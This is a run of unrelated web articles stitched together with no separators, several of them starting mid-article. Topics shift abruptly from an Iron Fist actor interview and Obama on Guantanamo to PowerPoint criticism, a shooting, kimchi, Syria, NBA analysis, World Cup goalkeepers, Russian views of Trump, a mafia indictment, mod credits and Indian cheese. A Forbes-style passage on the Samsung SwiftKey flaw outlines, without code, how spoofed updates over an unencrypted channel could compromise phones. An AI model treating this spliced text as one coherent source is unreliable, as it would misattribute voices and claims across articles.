In a world where new superhero movies and TV shows are coming out all the time, how does Iron Fist stand out from the super-crowd?
All the Marvel TV shows are very different, and like Iron Fist, it has its own identity; from the soundtrack, to the characters, even the cinematography! Iron Fist appeals to its fans like all the Marvel shows, but it's themes appeal more to a younger audience, in relation to the other Defenders. In saying that, I feel Iron Fist reaches out the kid inside you no matter how old you are... When Danny first ignites his fist, you'll see what I mean...
You’ve starred in some incredibly diverse projects in your career to date. What inspires you to be so adaptable in your acting?
I love investigating the psychology of different people, and how it effects them both emotionally and physically. In fact the majority of my prep time is spent researching the character as I get such a buzz piecing it all together. For me though the real fun comes when you step on set, let all of that 'work' go, and trust your instinct. And more importantly, be brave enough to be playful. And it's the 'playing' that inspires, and encourages me to take myself out of my comfort zone. Once I've closed the book on one character, I strive to take on a project that flips the last character on it's head.
Is there a particular moment in your career where you thought “I’ve made it”?
I don't think there'll ever be a moment when I'll feel 'I've made it'...but there have been times when I've experienced moments in my career when I've thought 'how the hell did this happen?' For instance, finding myself singing RnB tunes with Will Smith (my childhood hero) between takes....
What else can we look forward to from you over the next couple of years?
I'm just about to start a one-off film for the BBC based on Sathnam Sanghera's The Boy with the TopKnot. It's a beautiful and touching story, and I can't wait to get started on it.
At a news conference in Laos, where he was wrapping up a nine-day trip to Asia, Mr. Obama said he hasn’t given up on closing Gitmo before he leaves office in January.
“I am not ready to concede that it may still remain open because we’re still working diligently to continue to shrink the population,” the president said.
As the number of prisoners dwindles, he said, the cost per detainee rises.
“As we continue to shrink the population to the point where we’re looking at 40 or 50 people and are maintaining a multimillion-dollar operation to house these handfuls of individuals, I think the American people should be asking the question, why are we spending this kind of money that could be spent on other things when it’s not necessary for our safety and security?” Mr. Obama said.
Human Rights First said taxpayers spent $445 million on the military prison in 2015, when it held between 122 and 107 detainees. That worked out to roughly $4 million per detainee.
“It’s not necessary and it’s hugely expensive for U.S. taxpayers,” the president said.
HRF said the average cost of keeping a prisoner at a maximum-security federal prison is just over $34,000 per year. At a federal Supermax prison, the highest-security federal prison, the cost is $78,000 per year.
Economy could be a tough argument for Mr. Obama, under whose stewardship the total national debt has risen from $10.6 trillion to nearly $20 trillion.
Vice President Joseph R. Biden said late last month that he expects the administration to close the prison at Gitmo before Mr. Obama leaves office.
Congress has repeatedly blocked Mr. Obama’s efforts to close the prison at Gitmo in Cuba and transfer some of the detainees to prisons on the U.S. mainland. Lawmakers in both parties have raised concerns that the terrorism suspects could serve as a magnet for more attacks on the homeland.
“There’s no doubt that because of the politics in Congress right now, it is a tough row to hoe,” Mr. Obama said. “But I expect to work really hard over the next four months … four-and-a-half months.”
Mr. Obama asserted again that the prison “is a recruitment tool for terrorist organizations.”
“It clouds and sours some of the counterterrorism cooperation that we need to engage in,” he said.
Republican nominee Donald Trump has said he would keep open Gitmo if elected president. During the news conference, the president urged the media and voters to challenge Mr. Trump’s “whacky” proposals, and he reiterated that the Republican nominee isn’t qualified to be president.
“The most important thing for the public and the press is to just listen to what he says and follow up and ask questions to what appear to be either contradictory or uninformed or outright whacky ideas,” Mr. Obama said of Mr. Trump. The president said Mr. Trump isn’t fit to serve as commander-in-chief.
“I don’t think the guy is qualified to be president of the United States and every time he speaks that opinion is confirmed,” Mr. Obama said. “This is serious business, you have to know what you’re talking about and you have to have done your homework.”
He said that if voters really listen to what Mr. Trump was saying, he’s confident that people will make a good decision on Election Day in November.
“People start thinking that we should be grading on a curve,” Mr. Obama said. “I have confidence that if, in fact, people just listen to what he has to say or look at his track record — or lack thereof — that they’ll make a good decision.”
Mr. Trump blasted the president Wednesday night at a forum on national security, saying Russian President Vladimir Putin has been a stronger leader.
The president’s final trip to Asia included some friction and insults from other world leaders, notably Philippine President Rodrigo Duterte, whose meeting with Mr. Obama in Laos was canceled after he referred to him with a vulgar term.
As he prepared to return home to Washington, Mr. Obama told reporters he had a “terrific” trip.
“Everywhere we’ve gone, we’ve had a great reception,” he said. “My hope and expectation is, is that my successor will, in fact, sustain this kind of engagement, because there is a lot happening here.”
The president will try to persuade Congress to approve a free-trade deal with Asia-Pacific nations in his final months in office, despite opposition from lawmakers in both parties. He said Asia is crucial to economic growth by the U.S.
“This is where the action is going to be when it comes to commerce and trade, and ultimately creating U.S. jobs by being able to sell to this market,” he said.
This anecdotal observation may well be correct. We’ve all attended boring meetings with boring presentations, but Tufte needs to cover more ground if he wants to indict Microsoft PowerPoint. Blaming PowerPoint for a bad presentation is only semantically different than blaming the bad coffee served or the bland furniture. Although Tufte points out many legitimate problems with certain, perhaps even most, presentations, his accusation is spurious.
Death by PowerPoint? Unlikely.
Sometimes the content is incomplete. Sometimes the equipment is faulty. Sometimes the presenter is inexperienced. But often, the design itself is bad. On this topic, Tufte is 100% correct.
This image was taken from Tufte’s polemic, “PowerPoint Does Rocket Science.” In it, he asserts that the Space Shuttle Columbia disaster was, in part, due to NASA’s use of PowerPoint.
There are several large logical jumps which Tufte makes here. Assuming NASA could accurately identify the extent of the damage, and could eliminate all other errors in communication, decision-making, and time or technological limitations— that’s a lot of assuming, mind you— why blame the presentation software? Do you blame canvas for bad paintings? If anything, the takeaway from this tragedy at NASA, on the presentation level, is that effective presentation skills, especially design, are essential to communication.
His criticisms of the presentation itself are accurate. Inconsistent units of measurement, pronoun-antecedent conflict, or confusing hierarchies are neither new problems, nor PowerPoint-specific problems.
Let the data speak for themselves
“This is a big idea in all my work, which is basically trying to zero-out the interface, and have full data screens as much as possible.”
Tufte encourages designers to get rid of administrative debris, and put the information in the hands of the user. Although he seems to quote Jonathan Ive quite often, he had much to say about iOS’s “PowerPoint-like” appearance.
Really, either of these images could easily be part of a PowerPoint.
PowerPoint isn’t the problem, but it might be the solution
As I watch his Data Visualization keynote from Tech@State, I’m struck by how many of Tufte’s criticisms are easily addressed in well designed PowerPoints.
For instance, he stresses that the data should determine it’s own medium. A process, he argues, which is much more natural than an arbitrary system of apps to open and close. Different programs to individually address and categorize images, spreadsheets, maps, text, charts, or graphs only complicates the process of understanding the underlying information. Tufte calls this “segregating information by means of production.”
Ironically, PowerPoint doesn’t segregate information by means of production— that’s its’ beauty. A slide may feature an image, or text, or a spreadsheet, or a topographical map, or a video— it could even be completely blank. The program itself doesn’t require three logos on every slide. PowerPoint’s strength is that it allows you to convey any assortment of audio or visual material, depending on what’s needed.
Want an image with no frame? Fine. A slide with only one image? Great. We encourage presenters to communicate effectively, and we’re glad PowerPoint provides such a flexible platform.
Tufte, in context.
Photo by Phil Hawksworth
Of course, the ultimate irony is that Edward Tufte’s presentations are basically slideshows— because slideshows work. Because Powerpoint adds life to data.
He may capitalize on his audience’s frustration with bad design, or boring meetings, but that doesn’t mean that Powerpoint can’t be extremely effective. He certainly grabs attention with his condemnation of the world’s most common presentation software, and sells a lot of books (I personally have 4 of them— great works of art in themselves).
However, his vitriolic marketing campaign against PowerPoint is, simply put, misplaced. For presenters, who may already be overstressed, the stigma of using this program is strange and counterintuitive. PowerPoint is installed on one billion desktops around the globe, and is probably being used in almost every hotel conference room, every day.
Stop blaming PowerPoint
Two people were shot Tuesday afternoon during a home invasion in northwest Oklahoma City.
The shooting was reported around 1:30 p.m. at ahome in the 3500 block of Galatian Way, near Northwest 36th Street and Morgan Road, officials said.
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Two people forced entry into the home while the family was home, and the homeowner tried to take a gun from one of them, officials said. The homeowner was shot was able to get the gun and shoot one of the intruders.
They have been taken to OU Medical Center, and their conditions are not known.
Police are looking for the second intruder, but officers do not have a suspect description.
I seem to go through a kimchi phase every winter. I’m just realizing this now, as I look back and see that my last wave of kimchi posts came about this time last year. I could easily get lost in kimchi land and just blog one kimchi recipe after another, but maybe I should think about starting a new blog specifically devoted to kimchi before I go and do that here. Anyhow, kimchi is one of my favorite ingredients (or things to eat on it’s own) as of late. So expect a few more recipes after this. I hope you guys dig the stuff as much as I do.
I find myself saying this quite a bit, but here goes again: this recipe is by no means authentic…or if it is, it’s purely by coincidence (and a surprise to me). This was simply a quick dinner I threw together that turned out delicious. That’s one of the many things I love about kimchi: it has an uncanny ability to take part it some of the easiest and tastiest meals imaginable.
You can play around with the veggies in this dish a bit, but I have to say, zucchini and carrots worked out kind of perfectly. The zucchini sucks up the spicy and sour kimchi juices, while the carrots add some nice crunch and sweetness that compliment kimchi’s punch.
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The vast majority of Syrians are affected by the war and the use of arms, and they are now preoccupied with healing their wounds, soothing their pain and maintaining a bitter struggle to survive. This is true whether they are displaced outside Syria’s borders or inside the country, or preferred to stay in their homes and tried to adapt to the cycle of violence and ensure means of living under harsh economic and security conditions.
Syrian refugees have been exposed to serious dangers since the onset of their journey to escape from the raging battles. They are forced to live in ghettos and camps under harsh conditions, inappropriate for human beings, whose severity varies depending on the country of asylum. Most notably, the Syrian refugees suffer from exclusion and alienation. They are living in a vulnerable situation with no institutions or employment. Moreover, they are at the mercy of the aid provided by international relief organizations, which fail to meet their needs, starting with food and clothing, to stability, education, protection from nature’s madness and protection from physical abuse. The refugees also suffer from miserable health situations, and are incredibly vulnerable to communicable diseases and epidemics and many of them are injured or suffer from temporary or permanent disabilities.
Those displaced internally share with the refugees the same suffering, as they seek refuge from war’s hell after losing all their possessions and savings. They are sometimes forced to beg and to accept menial and humiliating jobs to secure their daily bread. Their fear of prosecution, detention and torture is increasing — mostly because they hail from rebel areas — to the extent that some of them believe death is more merciful than the fear, oppression and hunger.
The other world that emerged is of the regime and the areas under its control. In this world, life seems to follow a normal course. With the exception of deadly missiles hitting some neighborhoods, and the large number of security checkpoints widely spread in the streets and squares, something indicates that human beings may have become addicted to their jittery lifestyle. They are no longer concerned by the intensity of the battles, the sound of explosions, shelling of aircraft and the number of victims. The regime spares no effort to consecrate this addiction. It relies on the results achieved by the military in the countryside of Damascus and Homs to inspire confidence in its policies and prove the usefulness of its war choice, and it also seeks to hold the scheduled elections for renewing the vitality of the regime, despite the impact that these elections will have on the chances of political settlement.
Moreover, the regime raises fears as to the fate of the country if the Islamist militants win. It also invokes the state’s devotion and the activation of its institutions to provide the most important life necessities in the areas under its influence, such as water, electricity and telecommunications services and secure food and drugs. Thus, the regime bets on obtaining the people's satisfaction in return for the care that they are receiving by distracting them from the siege and horrible deterioration of the living and humanitarian conditions of their fellow citizens.
On the other hand, there is a world that praises itself as the flag-bearer of Islam and defender of Muslims. This world includes a variety of brigades formed of Islamist warriors who come from different parts of the world, and compete for imposing what they think is the law of God on earth, without giving any consideration to the plurality of Syrian society and the slogans of the revolution for freedom, dignity and a civil state. Considering that this world emerged as a reaction to the regime's violence and sectarian provocation, or claiming that it is contingent, strange and associated to a foreign agenda — and that it will cease to exist when said agenda expires — would not alleviate its dangerousness.
The scene is both surprising and distressing. Besides the open bloody conflicts between these brigades, each seeking to take control over the other areas — between the Islamic State of Iraq and al-Sham (ISIS) and Jabhat al-Nusra, and between them and some factions of the Free Syrian Army — the people of these areas are enduring a complex agony. As if the siege, hunger, lack of minimum humanitarian needs and daily indiscriminate shelling are not sufficient and must be completed with an Islamist tyranny. The latter does not stop terrorizing people, forcing them to follow its lifestyle and imposing the most heinous sanctions against those who violate it. This tyranny has reached the point of desecrating symbols and places worship, imposing a religious curriculum on children and arresting some of the opponents, assassinating other activists and torturing civilians and media activists.
Finally, the opposition political entity, composed primarily of Syrian dissidents abroad, may be deemed a world of its own. This world, in its various compositions, is still totally disconnected from the people’s suffering and armed activities. The most important flaw of this entity is that it completely relied on Western countries and bet on their role in bringing about the desired change, whether by complying with the deals they conclude about Syrian affairs, such as the Geneva II conference, or by urging them to militarily intervene to modify the course of the conflict or provide weapons to the opposition. This would sustain a long-term war, maintaining the logic of violence and war’s hell, even if justified as a natural response to excessive uninterrupted violence by the regime.
The problem, uncovered by Ryan Welton from mobile security specialists NowSecure, was a blatant one: the SwiftKey keyboard pre-installed on Samsung phones looked for language pack updates over unencrypted lines, in plain text. That meant it was possible for Welton to create a spoof proxy server and send malicious security updates to affected devices, along with some validating data to ensure the bad code remained on the device. This gave him a hook from which to find ways to escalate his attack and exploit the device without the users’ knowledge.
In more malicious hands, the exploit could be used to give an attacker system user level privileges and allowing them to siphon off contact data, text messages, bank logins and most information the victim would have considered private. It could also be used to monitor users from afar.
Having been alerted to the issue back in November 2014, Samsung told NowSecure it was working on a patch and eventually delivered one to carrier networks in late March for Android 4.2 and above, according to NowSecure CEO Andrew Hoog. But the company believes current devices are still vulnerable.
Welton, who today detailed the exploit at the Blackhat Security Summit in London, tested a Samsung Galaxy S6 running on Verizon and claimed to have replicated the attack. “We can confirm that we have found the flaw still unpatched on the Galaxy S6 for the Verizon and Sprint networks, in off the shelf tests we did over the past couple of days,” a NowSecure spokesperson confirmed. Hoog said the flaw likely affected the majority of Samsung Android devices, including the S3, S4, S5, and Galaxy Note 3 and 4.
FORBES has contacted Verizon and Sprint about the issue. Verizon had not responded at the time of publication, Sprint declined to comment.
A SwiftKey spokesperson said: "We’ve seen reports of a security issue related to the Samsung keyboard. We can confirm that the SwiftKey Keyboard apps available via Google Play or the Apple App Store are not affected by this vulnerability. We take reports of this manner very seriously and are currently investigating further."
NowSecure noted this does not mean users can simply download a fresh version of SwiftKey from either of the two stores. They still require a carrier upgrade for the vulnerability to be removed.
Users have been left in the lurch somewhat, as the keyboard can’t be uninstalled and even when it’s not the default keyboard, it can still be exploited, said Welton. Until patches are ready, users of Samsung phones should be careful about what networks they’re using and ask their carrier if a patch for the vulnerability is available.
Samsung said it was working on a fix and an update to its Knox software, which is on select devices, will block any attacks targeting the SwiftKey vulnerability. "Samsung Knox has the capability to update the security policy of the phones, over-the-air, to invalidate any potential vulnerabilities caused by this issue. The security policy updates will begin rolling out in a few days. In addition to the security policy update, we are also working with SwiftKey to address potential risks going forward," a spokesperson said.
One saving grace for the South Korean manufacturer is that an attacker has to find a way onto the same network as a user before exploiting the bug, though identifying Samsung Galaxy S6 phones should be trivial for seasoned hackers sitting on the same Wi-Fi as their targets. Fully remote attacks are also feasible by hijacking the Domain Name System (DNS), the network layer that directs user traffic to the right website after they ask to visit a particular URL, or by compromising a router or internet service provider from afar, Welton said.
Hoog told FORBES that it was the users who carried the majority of the risk when it came to flaws such as this. He believes the mobile security industry has been focused on the “wrong problem”, namely malware. “What we’re finding is that the real problem is leaky apps.”
1) Nobody Is Guarding Jo
One could say this has been going on all series, and to an extent that's true. The Bucks came into this series knowing Noah wasn't going to hurt them offensively. But as the series has moved along, Milwaukee has stopped getting cute with it and is now blatantly ignoring Jo:
Any time the Bulls put Noah in any sort of pick-and-roll situation -- whether it be sideline or at the top of the key -- the Bucks were begging the ball-handler to put the ball in Noah's hands. And to that end, the Bulls obliged, as Game 4 saw Noah receive 72 touches in his 30 minutes of play, which was good for third-highest on the team. I mean, Noah ended up with nine fewer touches than Jimmy Butler, and Butler scored 40 freaking percent of the team's offense in Game 4. That's plain unacceptable. And to put it into context even further, Nikola Mirotic only got 28 touches in his 20 minutes and Taj Gibson only saw the ball 36 times in his 24 minutes. But wait, there's more:
This is where you'll start to notice Jared Dudley "guarding" Noah, which the Bucks used to great effectiveness as Dudley basically had free reign to double-team endlessly:
And the best (worst?) for last:
Now that you're visually aware of the damage -- also, props to TNT's Steve Smith as he called out the Bucks' disregard for Noah at almost every opportunity -- here's what the results say: the Bulls are 27.7 points better with Noah off the floor this series, per NBA.com. Granted, that's in a sample size of 58 minutes, but the Bulls are also 25.8 points worse when Derrick Rose is off the floor in 49 minutes. To translate that in a simpler way, the Bulls instantly become miles better once Noah is out of the game and essentially fall apart when Rose is out.
Even when Noah's on the floor, though, he's the only Bulls' starter with a negative net rating (-2.3) for the series while every other starter is sitting at 10 or better. The Bucks have figured out that Noah is harmless on offense yet the Bulls keep giving him the damn ball. Every time Noah catches the ball he's being dared to score, and he just can't.
Jo has scored a total of 18 points in a staggering 144 minutes this series. He has attempted six free throws and missed them all. Literally the epitome of a non-factor. The Rajon Rondo of big men. Borderline unplayable and that's even considering his value defensively. I mean, if you think this isn't going to be a problem against Cleveland? Think again.
This isn't a plea to see bundles more Gibson because it's not like he's setting the world on fire, either. And Mirotic hasn't quite looked like himself; some of that is due to battling injury but mostly due to playing out of position. Like, when Thibodeau has gone to the jumbo lineup of Noah, Gibson and Mirotic -- they haven't been able to exploit Milwaukee in the post hardly at all. However, the way Thibs uses Mirotic here -- on a positively vital possession, no less -- takes advantage of everything Milwaukee has had success with when trapping:
Folks, the answer here is an easy one: reduce Joakim Noah's minutes and role. Plain and simple. No other option can possibly be worse.
2) Jason Kidd's Coaching
I talked plenty about this in the recap on Saturday, but here's a little something to chew on:
Seems pretty standard, the Bulls are inbounding the ball after a made Milwaukee free throw and the Bucks are showing a little full court press focused on Rose. What's important to note, though, is that Rose just checked into the game. And what that means is Thibodeau almost certainly gave Rose a play to communicate to the rest of the team on the subsequent offensive possession. Now, Kidd almost certainly does not know what play the Bulls are going to run, but he's fairly certain they're going to run something more structured. Probably a set Chicago likes to run.
So what does Kidd do? He applies this pressure which forces the Bulls to take almost six seconds to get the ball in the front court. That little maneuver upsets the timing. Timing that's probably pretty crucial to the play the Bulls are about to run...
Hey, wouldn't you know? That sure looks like the setup for the elevator play (check Zach Lowe's item No. 2) that the Bulls love to run for Mirotic. But also, check out the shot clock! The ball spent a good 12 seconds at least 30-feet from the basket! Plus it all goes for naught anyway as O.J. Mayo knocked the ball free from Tony Snell which drew a loose ball foul on Snell.
To me, this is coaching. This is Kidd just one step ahead of Thibs, like he has been for the better part of the series. I even thought the Bulls got lucky at the end of regulation in Game 3 when Kidd drew up another really good late playcall. If Khris Middleton doesn't hesitate, the series could easily be 2-2:
3) DERRICK MARTELL ROSE
To be fair, Rose was painfully bad in the fourth quarter on defense. But that doesn't mean that this play didn't happen:
You knew I had to sneak something crazy Rose did in here, didn't you? You're probably just surprised it wasn't a pass. Trust me, I wanted to!
4) Great Court Awareness
I've never sat courtside at a professional basketball game before, but if I hypothetically were sitting courtside, I can assure you I wouldn't have the mindfulness to do this if the ball had found me:
That's what's up.
Both Tim Howard of the United States, who set a World Cup record against Belgium with 16 saves, and Guillermo Ochoa of Mexico, who was the only goalkeeper to shut out Brazil, were snubbed from the list of finalists.
There was at least one CONCACAF goalie to get the honor, however, in Costa Rica’s Keylor Navas.
With only three players on the list of finalists, it is hard not to admit at least one deserving name, but it is surprising that neither Howard or Ochoa are being recognized for their efforts.
After all, both goalies earned Man of the Match honors in their team’s final games despite being eliminated from the tournament.
Here are the finalists for the 2014 FIFA World Cup Golden Glove award, via FIFA.com:
Keylor Navas (CRC)
The Levante stopper was arguably Costa Rica’s best player at Brazil 2014, including a match-winning display in the Round of 16 tie against Greece. Making 21 saves in Los Ticos’ five games, he was awarded the Budweiser Man of the Match Award on three occasions. At 26-years-old the best years of his career are firmly ahead of him. Manuel Neuer (GER)
The Germany keeper has played in all of the Nationalelf’s six games so far, making 25 saves and completing 202 passes. He’s kept three clean sheets and been a commanding presence for Joachim Low’s side so far. After winning a host of domestic honours, the UEFA Champions League and the FIFA Club World Cup, the FIFA World Cup and the Golden Glove is now in his sights. Sergio Romero (ARG)
Penalty shoot-out saves from Ron Vlaar and Wesley Sneidjer sent La Albiceleste into the final, capping a fine tournament for the 27-year-old so far. The Monaco keeper has kept four clean sheets, making 15 saves in Brazil 2014 so far. Brought into international football by Diego Maradona, he has been Argentina’s first choice keeper for five years.
Who do you think will come away with the honor? Sound off in the comments section below with your thoughts and predictions.
Both the elites and the ordinary people in Russia greeted the new US president, and even some in the political opposition saw the potential for positive developments under his administration.
The reason for Russia's warm welcome of President Trump had nothing to do with claims in the US media that he was "a Kremlin agent" or that "Russian hackers" helped him win the election. It had much more to do with expectations among the elites, the ordinary people, and even the intelligentsia, of a new direction in US-Russian relations that would de-escalate internal and external tensions and favour their interests.
Negotiating a new world order
Many times during the past decade Russian President Vladimir Putin and his subordinates claimed that the world order that emerged after the collapse of the socialist camp and the dissolution of the Soviet Union in 1991 was not only unjust but also illegitimate.
There were no new foundational documents and institutions to replace those created at the end of World War II with the Yalta Conference. In the eyes of the Russian leadership, no country signed any obligation to consider the United States the only superpower and therefore nobody should comply with its leadership.
This logic explains the confrontations over Ukraine and Syria. For the Kremlin, both were used to demonstrate that there are "red lines" and that there is a need for a new world order. Russian foreign policy analysts have repeatedly claimed that the new US president might be ready to negotiate the creation of a new system of international relations to replace Yalta and the current unipolar model.
The "new Yalta" would redistribute spheres of responsibility to recognised great powers. The Kremlin, of course, sees Russia as one of them (alongside with the US, China, and perhaps Europe).
Among the ruling elite, there is also a much more modest expectation from Trump concerning matters of self-interest. Since at least 2014, after the annexation of Crimea and Russian support to the anti-Kiev rebels in Eastern Ukraine, many members of the ruling class experienced the effects of sanctions targeting them. With Trump in the White House, they expect the sanctions to be lifted, if he indeed wants to start a new chapter in Russian-US relations.
A sigh of relief
Ordinary Russians were also pleased with Trump's victory. Part of the people's joy we can blame on the extensively flattering coverage of his campaign and victory in the Russian media, but there were also very concrete reasons for it.
One is, again, hope for lifting of the economic sanctions. Ironically enough, ordinary Russians are actually suffering much more from the "counter-sanctions" on trade imposed by the Russian government on the EU and the US, which effectively raised the prices of basic goods and eliminated some types of quality foodstuffs from grocery stores.
OPINION: The inevitable Trumputin divorce
Still, with this new stage in the Russian-US relations, those counter-sanctions could be lifted as well. But even if the sanctions remain in place, improving relations with the US does come as a relief for the Russian people. The confrontations of the past two years encouraged not only patriotic feelings among Russians, but also feelings of anxiety. In the early fall of 2016, discussions in the Russian public space about the possibility of war with the US started for the first time since the Cold War. Trump's victory was perceived as a sign that at least there will be no war.
America is foe no more
The opposition intelligentsia in Russia is mostly sympathetic to their US peers, the Democrats, in academia and the NGO community, and they also despise Donald Trump's politics and style.
But even the opposition took a breath of relief with Trump's victory. The fact is that since the winter protests of 2011-2012 against the rigged elections and the return of Putin to the presidency, the Russian regime has used the strategy of smearing its critics by accusing them of links to "evil American influences".
That led to a legal, political, and media pressure on activists, many of whom have emigrated since 2012, and on independent civil society organisations which were subject to restrictions by a new "foreign agents" law. Thus, hostile relations with the US were instrumental in subduing the independent civil society. Nobody knows whether the regime will cease using this approach, but it would make sense to do so after America stops being a foe.
Even within the more radical opposition that would call such a consideration a "Stockholm syndrome", there are some hopes that President Trump will prove to be a more difficult partner for Putin. This faction considered Barack Obama's foreign policy a failure, not because it alienated Putin and imposed sanctions, but because that policy did not bring the desired results. They claim that Obama's perceived "weakness" encouraged Putin to adopt more aggressive policies both at home and abroad, and they hope Trump will be a "tough Republican" keeping Putin quiet.
Time will tell what direction US-Russian relations will embark on. But if history is to have any predictive value, we should not be too optimistic. Both George W Bush and Barack Obama started their presidencies with rapprochement between the two countries - Bush looked into Putin's eyes and saw his soul, while Obama was eager for a "reset" policy. Both ended their second terms at a low point in relations (with the Russia-Georgia war in 2008 and with Syria and the hacking scandal in 2016, respectively).
Will this pattern be repeated with President Trump; will we witness a honeymoon for a year or two and the return to hostility in the longer term? The probability is high, but nothing is for sure.
After all, we know that the Trump presidency will be over in 2020 or 2024, but don't know when the Putin presidency will end. It may happen before Trump's term expires. And that would definitely open a new chapter in the troubled Russian-US relations.
Ivan Kurilla is a professor of history at the European University at Saint Petersburg.
The Cosa Nostra families current hierarchy which consists of Street Boss Matthew Madonna, Underboss Steven Crea Sr., and Consigliere Joseph DiNapoli were among those charged. The members of the administration along with capos Dominic Truscello and John Castelucci and several alleged soldiers were charged with racketeering, murder, loan sharking, narcotics, and other offenses. Included in these charges is the 2013 mafia hit in the Bronx of former Purple Gang leader Michael Meldish. When these kinds of indictments against the mafia occur they are usually aided by the help of informants from inside of the crime families and it seems this one is no different. The Lucchese family is once again plagued by turncoats and according to reports many of them are relatives of wiseguys.
“Steven Crea and Matthew Madonna”
So far there are at least three relatives of Lucchese family mobsters that have been cooperating with the feds over the past few years. Robert Spinelli the brother of reputed Lucchese soldier Michael (Baldy Mike) Spinelli began cooperating with the feds back in 2012 supplying the feds with secretly recorded conversations all the way up until this year. It was also reported that mob associate Joseph Foti the brother of another Lucchese wiseguy had been wearing a wire and recording conversations between his mafia pals before and after the Meldish hit took place. The latest rat to emerge is the son of Lucchese soldier James Pasqua Jr. who turned on his father and the organized crime family after he was busted for smuggling drugs into prison last year according to a recent Ganglandnews report.
It seems that Pasqua’s son was a snitch for the feds from behind bars using his father’s name to get close to Londonio and record conversations while they were both doing time in the Metropolitan Correctional Center. As the evidence continues to mount and the number of turncoats increases against the Lucchese family members heading to trial it seems like they are facing an uphill battle. While the feds have had mixed results of late when it comes to cases against the New York mafia this one would certainly be a big one to add to the win column. With the Lucchese families current official boss Vittorio (Vic) Amuso also behind bars, this indictment if it leads to extended prison sentences for the rest of the administration would be a major blow to a crime family that just recently seemed to be stabilizing itself.
Thanks to revengeofbigd for creating the Awakened Magicka logo.
Thanks to Gruftlord for Simple Magic Rebalance. The Enchanting/Alchemy changes in Awakened Magicka come directly from his mod. Used according to the permissions of that mod.
Thanks to Eps01 for Mastered Magicka, which is the original inspiration for everything I’ve done here. The actual scripts and effects are entirely my own creation.
Thanks to sushisquid for Better Magic. some of the changes in my Balance Tweaks patch are inspired by, or come directly from, his work. All changes are carried over according to the permissions of that mod.
Thanks to jonwd7 for the original Brawl Bugs Patch. The NPC spell buffs would have been problematic without his fix. The scripts from his modder's resource were included in Awakened Magicka until version 3.0Beta.
Thanks to Enaisiaion for the Modern Brawl Bug Patch. The resources provided by them have been included starting in Awakened Magicka 3.0.
Thanks to Dienes for his help creating the SkyProc patcher included in this mod, and for his continued development of this resource. Thanks also to ogerboss for his fix which allows the SkyProc library to continue to work with new releases of the USKP.
Thanks to Nazenn for providing a FOMOD installer for the mod.
Thanks to Dazzanator2 for offering an updated .esp with support for USLEEP in the months before I updated the project myself.
Chances are, as you were reading that story, the word “cheese" would have brought to mind a slab of Amul processed cheese. You weren’t thinking of a whey-soaked ball of mozzarella, wobbly in your palms, or a disc of baked Brie, its buttery gold heart begging to be scooped with a cracker.
Over the last few years, though, a curious series of circumstances has conspired to replace the processed cheeses at the top of our minds, and in speciality stores and restaurants across urban India, with hand-crafted Cheddars, mozzarellas, Gruyères, Bries and fetas, all made locally. Cheesemakers have enthusiastically embraced Make in India.
Last year was Anno Uno for cheese in India—local cheesemakers came to public notice as we discovered cheeses that had been living in the shadow of paneer. The spread was everywhere—in newspapers, magazines, listicles online, long-form musings, interviews with chefs. Cheese found itself lumped with food fads—cupcakes, frozen yogurt, cronuts, nut butters, molecular Indian gastronomy, artisanal coffee, craft beer, sourdough bread. Some of these had their 15 seconds of fame; some lingered.
So is artisanal cheese a food fad? Physicist-turned-cheesemaker Aditya Raghavan rolls his eyes. “Dairy is so important to India; we have all been consuming it from such a young age. This is not a big leap. Bread, cheese and coffee are more fundamental than, say, cupcakes. It won’t just disappear." Raghavan should know. The 36-year-old has spent the last three years chasing cheese across the country, helping artisanal cheesemakers set up factories, overseeing and fixing production lines, troubleshooting, cheesemaking, learning and documenting obscure dairy practices and, essentially, being the consultant the fledgling Indian cheese scene didn’t know it needed.
India is the world’s largest producer of milk. According to the Economic Survey 2015-16, the country produced 146 million tonnes of milk— that’s 18.5% of the world’s total output. A September USDA Foreign Agricultural Service report expects milk production to increase to 160 million tonnes. We churn it into butter, culture it into yogurt, slowly caramelize it to make khoya. Cheese though—cultured, rennet coagulated—seemed to have largely escaped our purview.
Mukund Naidu with his collection of cheese. Photo: Hemant Mishra/Mint
This puzzled cheese expert Will Studd—you know him as the man behind the show Cheese Slices on TLC or from his battle with the Australian government to import raw-milk cheeses into the country. “The question that fascinated me was, why does this country have only one cheese? I know there are a few others, but essentially one cheese—paneer."
One factor, Studd says, is the religious connotation of using animal rennet—the enzyme that separates milk into curds and whey, the first step in cheesemaking—which comes from the stomach of two-week-old calves. To extract the rennet, the calf has to be killed. That alone doesn’t explain the lack of cheese varieties in the country, however. “India was one of the first countries to develop a culture of preserving butter, maybe 2,000-3,000 years before Europe, in a very sophisticated way, but didn’t develop cheese." The answer is practicality: India’s tropical climate doesn’t allow for bacterial preservation. “The reality of ghee is it doesn’t matter if it’s hot or cold, it keeps. And it fulfils its purpose for cooking."
Amul was the first company to make an attempt at an Indian processed cheese in the early 1960s. “Protracted and arduous pioneering research went into the formula for making a standardized Indian variety of Cheddar cheese, once again belying expert opinion, which stated that it could not be made from buffalo milk," Ruth Heredia writes in The Amul India Story (1997). “Easier, said some experts, to get shoe polish from it, and, indeed, the earliest experimental samples did taste a bit like wax polish."
Amul’s cheese—easy to melt and store—would go on to flood the market. Today, the processed cheese market is dominated by brands like Amul, Britannia, Gowardhan and Mother Dairy, which make variations of processed Cheddar, hard mozzarella “pizza cheese" and cream cheese, but smaller players like Exito Gourmet (Impero) and Dairy Craft have waded into the market, too, with fresh mozzarella, ricotta, mascarpone, scamorza and Cheddar.
Yet, cheese still only accounts for a fraction of dairy product sales. In 2014, retail sales of packaged dairy products in India were estimated at $10.2 billion (about Rs66,700 crore now) by market research firm Euromonitor—cheese accounted for about $244 million of this.
Rise of the local fromagère
The early 1990s saw the rise of a few local cheesemakers. Film-maker Mansoor Khan, director of two blockbusters, Qayamat Se Qayamat Tak and Jo Jeeta Wohi Sikandar, moved to Coonoor in 2003, where he has been making Gouda, Colby, Gruyère, halloumi and more on his farm Acres Wild. In Pune, ABC Farms, established by Rohinton Aga, Adi Bathena and Eruch Chinoy (hence the name ABC) and now run by Sohrab Chinoy, has been producing versions of Gorgonzola, Cheddar and mozzarella for over 30 years. ABC Farms’ owner claims they sell 10 tonnes of cheese a month, or about 300kg a day on average, to Vivanta By Taj—President in Mumbai, Marriott Suites in Pune, and Sun N Sand hotels in Mumbai and Pune. Acres Wild produces 8-10kg a day and only sells at two stores in Coonoor.
